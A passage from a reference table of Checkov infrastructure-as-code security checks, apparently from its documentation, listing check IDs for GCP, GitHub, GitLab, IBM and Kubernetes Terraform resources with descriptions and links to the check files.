google_sql_database_instance | Ensure PostgreSQL database flag 'log_planner_stats' is set to 'off' | Terraform | [GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF.yaml) | | 4277 | CKV2_GCP_17 | resource | google_sql_database_instance | Ensure PostgreSQL database flag 'log_statement_stats' is set to 'off' | Terraform | [GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF.yaml) | | 4278 | CKV2_GCP_18 | resource | google_compute_network | Ensure GCP network defines a firewall and does not use the default firewall | Terraform | [GCPNetworkDoesNotUseDefaultFirewall.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPNetworkDoesNotUseDefaultFirewall.yaml) | | 4279 | CKV2_GCP_19 | resource | google_container_cluster | Ensure GCP Kubernetes engine clusters have 'alpha cluster' feature disabled | Terraform | [GCPdisableAlphaClusterFeatureInKubernetesEngineClusters.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPdisableAlphaClusterFeatureInKubernetesEngineClusters.yaml) | | 4280 | CKV2_GCP_20 | resource | google_sql_database_instance | Ensure MySQL DB instance has point-in-time recovery backup configured | Terraform | [GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled.yaml) | | 4281 | CKV2_GCP_21 | resource | google_notebooks_instance | Ensure Vertex AI instance disks are encrypted with a Customer Managed Key (CMK) | Terraform | [GCPVertexInstanceEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexInstanceEncryptedWithCMK.yaml) | | 4282 | CKV2_GCP_22 | resource | google_document_ai_processor | Ensure Document AI Processors are encrypted with a Customer Managed Key (CMK) | Terraform | [GCPDocumentAIProcessorEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDocumentAIProcessorEncryptedWithCMK.yaml) | | 4283 | CKV2_GCP_23 | resource | google_document_ai_warehouse_location | Ensure Document AI Warehouse Location is configured to use a Customer Managed Key (CMK) | Terraform | [GCPDocumentAIWarehouseLocationEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDocumentAIWarehouseLocationEncryptedWithCMK.yaml) | | 4284 | CKV2_GCP_24 | resource | google_vertex_ai_endpoint | Ensure Vertex AI endpoint uses a Customer Managed Key (CMK) | Terraform | [GCPVertexAIEndpointEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIEndpointEncryptedWithCMK.yaml) | | 4285 | CKV2_GCP_25 | resource | google_vertex_ai_featurestore | Ensure Vertex AI featurestore uses a Customer Managed Key (CMK) | Terraform | [GCPVertexAIFeaturestoreEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIFeaturestoreEncryptedWithCMK.yaml) | | 4286 | CKV2_GCP_26 | resource | google_vertex_ai_tensorboard | Ensure Vertex AI tensorboard uses a Customer Managed Key (CMK) | Terraform | [GCPVertexAITensorboardEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAITensorboardEncryptedWithCMK.yaml) | | 4287 | CKV2_GCP_27 | resource | google_workbench_instance | Ensure Vertex AI workbench instance disks are encrypted with a Customer Managed Key (CMK) | Terraform | [GCPVertexWorkbenchInstanceEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexWorkbenchInstanceEncryptedWithCMK.yaml) | | 4288 | CKV2_GCP_28 | resource | google_workbench_instance | Ensure Vertex AI workbench instances are private | Terraform | [GCPVertexWorkbenchInstanceNoPublicIp.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexWorkbenchInstanceNoPublicIp.yaml) | | 4289 | CKV2_GCP_29 | resource | google_dialogflow_agent | Ensure logging is enabled for Dialogflow agents | Terraform | [GCPDialogFlowAgentLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowAgentLoggingEnabled.yaml) | | 4290 | CKV2_GCP_30 | resource | google_dialogflow_cx_agent | Ensure logging is enabled for Dialogflow CX agents | Terraform | [GCPDialogFlowCxAgentLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowCxAgentLoggingEnabled.yaml) | | 4291 | CKV2_GCP_31 | resource | google_dialogflow_cx_webhook | Ensure logging is enabled for Dialogflow CX webhooks | Terraform | [GCPDialogFlowCxWebhookLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowCxWebhookLoggingEnabled.yaml) | | 4292 | CKV2_GCP_32 | resource | google_tpu_v2_vm | Ensure TPU v2 is private | Terraform | [GCPTpuV2VmPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPTpuV2VmPrivateEndpoint.yaml) | | 4293 | CKV2_GCP_33 | resource | google_vertex_ai_endpoint | Ensure Vertex AI endpoint is private | Terraform | [GCPVertexAIPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIPrivateEndpoint.yaml) | | 4294 | CKV2_GCP_34 | resource | google_vertex_ai_index_endpoint | Ensure Vertex AI index endpoint is private | Terraform | [GCPVertexAIPrivateIndexEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIPrivateIndexEndpoint.yaml) | | 4295 | CKV2_GCP_35 | resource | google_notebooks_runtime | Ensure Vertex AI runtime is encrypted with a Customer Managed Key (CMK) | Terraform | [GCPVertexRuntimeEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexRuntimeEncryptedWithCMK.yaml) | | 4296 | CKV2_GCP_36 | resource | google_notebooks_runtime | Ensure Vertex AI runtime is private | Terraform | [GCPVertexRuntimePrivate.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexRuntimePrivate.yaml) | | 4297 | CKV2_GCP_37 | resource | google_compute_forwarding_rule | Ensure GCP compute regional forwarding rule does not use HTTP proxies with EXTERNAL load balancing scheme | Terraform | [GCPComputeRegionalForwardingRuleCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPComputeRegionalForwardingRuleCheck.yaml) | | 4298 | CKV2_GCP_38 | resource | google_compute_global_forwarding_rule | Ensure GCP compute global forwarding rule does not use HTTP proxies with EXTERNAL load balancing scheme | Terraform | [GCPComputeGlobalForwardingRuleCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPComputeGlobalForwardingRuleCheck.yaml) | | 4299 | CKV_GIT_1 | resource | github_repository | Ensure GitHub repository is Private | Terraform | [PrivateRepo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/PrivateRepo.py) | | 4300 | CKV_GIT_2 | resource | github_repository_webhook | Ensure GitHub repository webhooks are using HTTPS | Terraform | [WebhookInsecureSsl.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/WebhookInsecureSsl.py) | | 4301 | CKV_GIT_3 | resource | github_repository | Ensure GitHub repository has vulnerability alerts enabled | Terraform | [RepositoryEnableVulnerabilityAlerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/RepositoryEnableVulnerabilityAlerts.py) | | 4302 | CKV_GIT_4 | resource | github_actions_environment_secret | Ensure GitHub Actions secrets are encrypted | Terraform | [SecretsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/SecretsEncrypted.py) | | 4303 | CKV_GIT_4 | resource | github_actions_organization_secret | Ensure GitHub Actions secrets are encrypted | Terraform | [SecretsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/SecretsEncrypted.py) | | 4304 | CKV_GIT_4 | resource | github_actions_secret | Ensure GitHub Actions secrets are encrypted | Terraform | [SecretsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/SecretsEncrypted.py) | | 4305 | CKV_GIT_5 | resource | github_branch_protection | GitHub pull requests should require at least 2 approvals | Terraform | [BranchProtectionReviewNumTwo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionReviewNumTwo.py) | | 4306 | CKV_GIT_5 | resource | github_branch_protection_v3 | GitHub pull requests should require at least 2 approvals | Terraform | [BranchProtectionReviewNumTwo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionReviewNumTwo.py) | | 4307 | CKV_GIT_6 | resource | github_branch_protection | Ensure GitHub branch protection rules requires signed commits | Terraform | [BranchProtectionRequireSignedCommits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionRequireSignedCommits.py) | | 4308 | CKV_GIT_6 | resource | github_branch_protection_v3 | Ensure GitHub branch protection rules requires signed commits | Terraform | [BranchProtectionRequireSignedCommits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionRequireSignedCommits.py) | | 4309 | CKV2_GIT_1 | resource | github_repository | Ensure each Repository has branch protection associated | Terraform | [RepositoryHasBranchProtection.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/github/RepositoryHasBranchProtection.yaml) | | 4310 | CKV_GLB_1 | resource | gitlab_project | Ensure at least two approving reviews are required to merge a GitLab MR | Terraform | [RequireTwoApprovalsToMerge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/RequireTwoApprovalsToMerge.py) | | 4311 | CKV_GLB_2 | resource | gitlab_branch_protection | Ensure GitLab branch protection rules does not allow force pushes | Terraform | [ForcePushDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/ForcePushDisabled.py) | | 4312 | CKV_GLB_3 | resource | gitlab_project | Ensure GitLab prevent secrets is enabled | Terraform | [PreventSecretsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/PreventSecretsEnabled.py) | | 4313 | CKV_GLB_4 | resource | gitlab_project | Ensure GitLab commits are signed | Terraform | [RejectUnsignedCommits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gitlab/RejectUnsignedCommits.py) | | 4314 | CKV2_IBM_1 | resource | ibm_is_lb | Ensure load balancer for VPC is private (disable public access) | Terraform | [IBM_LoadBalancerforVPCisPrivate.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_LoadBalancerforVPCisPrivate.yaml) | | 4315 | CKV2_IBM_2 | resource | ibm_is_vpc | Ensure VPC classic access is disabled | Terraform | [IBM_VPCclassicAccessIsDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_VPCclassicAccessIsDisabled.yaml) | | 4316 | CKV2_IBM_3 | resource | ibm_iam_account_settings | Ensure API key creation is restricted in account settings | Terraform | [IBM_RestrictAPIkeyCreationInAccountSettings.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_RestrictAPIkeyCreationInAccountSettings.yaml) | | 4317 | CKV2_IBM_4 | resource | ibm_iam_account_settings | Ensure Multi-Factor Authentication (MFA) is enabled at the account level | Terraform | [IBM_EnableMFAatAccountLevel.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_EnableMFAatAccountLevel.yaml) | | 4318 | CKV2_IBM_5 | resource | ibm_iam_account_settings | Ensure Service ID creation is restricted in account settings | Terraform | [IBM_RestrictServiceIDCreationInAccountSettings.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_RestrictServiceIDCreationInAccountSettings.yaml) | | 4319 | CKV2_IBM_7 | resource | ibm_container_cluster | Ensure Kubernetes clusters are accessible by using private endpoint and NOT public endpoint | Terraform | [IBM_K8sClustersAccessibleViaPrivateEndPt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ibm/IBM_K8sClustersAccessibleViaPrivateEndPt.yaml) | | 4320 | CKV_K8S_1 | resource | kubernetes_pod_security_policy | Do not admit containers wishing to share the host process ID namespace | Terraform | [ShareHostPIDPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPIDPSP.py) | | 4321 | CKV_K8S_2 | resource | kubernetes_pod_security_policy | Do not admit privileged containers | Terraform | [PrivilegedContainerPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainerPSP.py) | | 4322 | CKV_K8S_3 | resource | kubernetes_pod_security_policy | Do not admit containers wishing to share the host IPC namespace | Terraform | [ShareHostIPCPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPCPSP.py) | | 4323 | CKV_K8S_4 | resource | kubernetes_pod_security_policy | Do not admit containers wishing to share the host network namespace | Terraform | [SharedHostNetworkNamespacePSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespacePSP.py) | | 4324 | CKV_K8S_5 | resource | kubernetes_pod_security_policy | Containers should not run with allowPrivilegeEscalation | Terraform | [AllowPrivilegeEscalationPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalationPSP.py) | | 4325 | CKV_K8S_6 | resource | kubernetes_pod_security_policy | Do not admit root containers | Terraform | [RootContainerPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/RootContainerPSP.py) | | 4326 | CKV_K8S_7 | resource | kubernetes_pod_security_policy | Do not admit containers with the NET_RAW capability | Terraform | [DropCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilitiesPSP.py) | | 4327 | CKV_K8S_8 | resource | kubernetes_deployment | Liveness Probe Should be Configured | Terraform | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py) | | 4328 | CKV_K8S_8 | resource | kubernetes_deployment_v1 | Liveness Probe Should be Configured | Terraform | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py) | | 4329 | CKV_K8S_8 | resource | kubernetes_pod | Liveness Probe Should be Configured | Terraform | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py) | | 4330 | CKV_K8S_8 | resource | kubernetes_pod_v1 | Liveness Probe Should be Configured | Terraform | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/LivenessProbe.py) | | 4331 | CKV_K8S_9 | resource | kubernetes_deployment | Readiness Probe Should be Configured | Terraform | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py) | | 4332 | CKV_K8S_9 | resource | kubernetes_deployment_v1 | Readiness Probe Should be Configured | Terraform | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py) | | 4333 | CKV_K8S_9 | resource | kubernetes_pod | Readiness Probe Should be Configured | Terraform | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py) | | 4334 | CKV_K8S_9 | resource | kubernetes_pod_v1 | Readiness Probe Should be Configured | Terraform | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py) | | 4335 | CKV_K8S_10 | resource | kubernetes_deployment | CPU requests should be set | Terraform | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py) | | 4336 | CKV_K8S_10 | resource | kubernetes_deployment_v1 | CPU requests should be set | Terraform | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py) | | 4337 | CKV_K8S_10 | resource | kubernetes_pod | CPU requests should be set | Terraform | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py) | | 4338 | CKV_K8S_10 | resource | kubernetes_pod_v1 | CPU requests should be set | Terraform | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPURequests.py) | | 4339 | CKV_K8S_11 | resource | kubernetes_deployment | CPU Limits should be set | Terraform | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py) | | 4340 | CKV_K8S_11 | resource | kubernetes_deployment_v1 | CPU Limits should be set | Terraform | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py) | | 4341 | CKV_K8S_11 | resource | kubernetes_pod | CPU Limits should be set | Terraform | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py) | | 4342 | CKV_K8S_11 | resource | kubernetes_pod_v1 | CPU Limits should be set | Terraform | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/CPULimits.py) | | 4343 | CKV_K8S_12 | resource | kubernetes_deployment | Memory Limits should be set | Terraform | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py) | | 4344 | CKV_K8S_12 | resource | kubernetes_deployment_v1 | Memory Limits should be set | Terraform | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py) | | 4345 | CKV_K8S_12 | resource | kubernetes_pod | Memory Limits should be set | Terraform | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py) | | 4346 | CKV_K8S_12 | resource | kubernetes_pod_v1 | Memory Limits should be set | Terraform | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryLimits.py) | | 4347 | CKV_K8S_13 | resource | kubernetes_deployment | Memory requests should be set | Terraform | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py) | | 4348 | CKV_K8S_13 | resource | kubernetes_deployment_v1 | Memory requests should be set | Terraform | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py) | | 4349 | CKV_K8S_13 | resource | kubernetes_pod | Memory requests should be set | Terraform | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py) | | 4350 | CKV_K8S_13 | resource | kubernetes_pod_v1 | Memory requests should be set | Terraform | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MemoryRequests.py) | | 4351 | CKV_K8S_14 | resource | kubernetes_deployment | Image Tag should be fixed - not latest or blank | Terraform | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py) | | 4352 | CKV_K8S_14 | resource | kubernetes_deployment_v1 | Image Tag should be fixed - not latest or blank | Terraform | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py) | | 4353 | CKV_K8S_14 | resource | kubernetes_pod | Image Tag should be fixed - not latest or blank | Terraform | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py) | | 4354 | CKV_K8S_14 | resource | kubernetes_pod_v1 | Image Tag should be fixed - not latest or blank | Terraform | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py) | | 4355 | CKV_K8S_15 | resource | kubernetes_deployment | Image Pull Policy should be Always | Terraform | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py) | | 4356 | CKV_K8S_15 | resource | kubernetes_deployment_v1 | Image Pull Policy should be Always | Terraform | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py) | | 4357 | CKV_K8S_15 | resource | kubernetes_pod | Image Pull Policy should be Always | Terraform | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py) | | 4358 | CKV_K8S_15 | resource | kubernetes_pod_v1 | Image Pull Policy should be Always | Terraform | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py) | | 4359 | CKV_K8S_16 | resource | kubernetes_deployment | Do not admit privileged containers | Terraform | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py) | | 4360 | CKV_K8S_16 | resource | kubernetes_deployment_v1 | Do not admit privileged containers | Terraform | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py) | | 4361 | CKV_K8S_16 | resource | kubernetes_pod | Do not admit privileged containers | Terraform | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py) | | 4362 | CKV_K8S_16 | resource | kubernetes_pod_v1 | Do not admit privileged containers | Terraform | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py) | | 4363 | CKV_K8S_17 | resource | kubernetes_deployment | Do not admit containers wishing to share the host process ID namespace | Terraform | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py) | | 4364 | CKV_K8S_17 | resource | kubernetes_deployment_v1 | Do not admit containers wishing to share the host process ID namespace | Terraform | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py) | | 4365 | CKV_K8S_17 | resource | kubernetes_pod | Do not admit containers wishing to share the host process ID namespace | Terraform | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py) | | 4366 | CKV_K8S_17 | resource | kubernetes_pod_v1 | Do not admit containers wishing to share the host process ID namespace | Terraform | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py) | | 4367 | CKV_K8S_18 | resource | kubernetes_deployment | Do not admit containers wishing to share the host IPC namespace | Terraform | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py) | | 4368 | CKV_K8S_18 | resource | kubernetes_deployment_v1 | Do not admit containers wishing to share the host IPC namespace | Terraform | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py) | | 4369 | CKV_K8S_18 | resource | kubernetes_pod | Do not admit containers wishing to share the host IPC namespace | Terraform | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py) | | 4370 | CKV_K8S_18 | resource | kubernetes_pod_v1 | Do not admit containers wishing to share the host IPC namespace | Terraform | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py) | | 4371 | CKV_K8S_19 | resource | kubernetes_deployment | Do not admit containers wishing to share the host network namespace | Terraform | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py) | | 4372 | CKV_K8S_19 | resource | kubernetes_deployment_v1 | Do not admit containers wishing to share the host network namespace | Terraform | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py) | | 4373 | CKV_K8S_19 | resource | kubernetes_pod | Do not admit containers wishing to share the host network namespace | Terraform | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py) | | 4374 | CKV_K8S_19 | resource | kubernetes_pod_v1 | Do not admit containers wishing to share the host network namespace | Terraform | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py) | | 4375 | CKV_K8S_20 | resource | kubernetes_deployment | Containers should not run with allowPrivilegeEscalation | Terraform | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py) | | 4376 | CKV_K8S_20 | resource | kubernetes_deployment_v1 | Containers should not run with allowPrivilegeEscalation | Terraform | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py) | | 4377 | CKV_K8S_20 | resource | kubernetes_pod | Containers should not run with allowPrivilegeEscalation | Terraform | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py) | | 4378 | CKV_K8S_20 | resource | kubernetes_pod_v1 | Containers should not run with allowPrivilegeEscalation | Terraform | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py) | | 4379 | CKV_K8S_21 | resource | kubernetes_config_map | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4380 | CKV_K8S_21 | resource | kubernetes_config_map_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4381 | CKV_K8S_21 | resource | kubernetes_cron_job | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4382 | CKV_K8S_21 | resource | kubernetes_cron_job_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4383 | CKV_K8S_21 | resource | kubernetes_daemon_set_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4384 | CKV_K8S_21 | resource | kubernetes_daemonset | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4385 | CKV_K8S_21 | resource | kubernetes_deployment | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4386 | CKV_K8S_21 | resource | kubernetes_deployment_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4387 | CKV_K8S_21 | resource | kubernetes_ingress | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4388 | CKV_K8S_21 | resource | kubernetes_ingress_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4389 | CKV_K8S_21 | resource | kubernetes_job | The default namespace should not be used | Terraform | 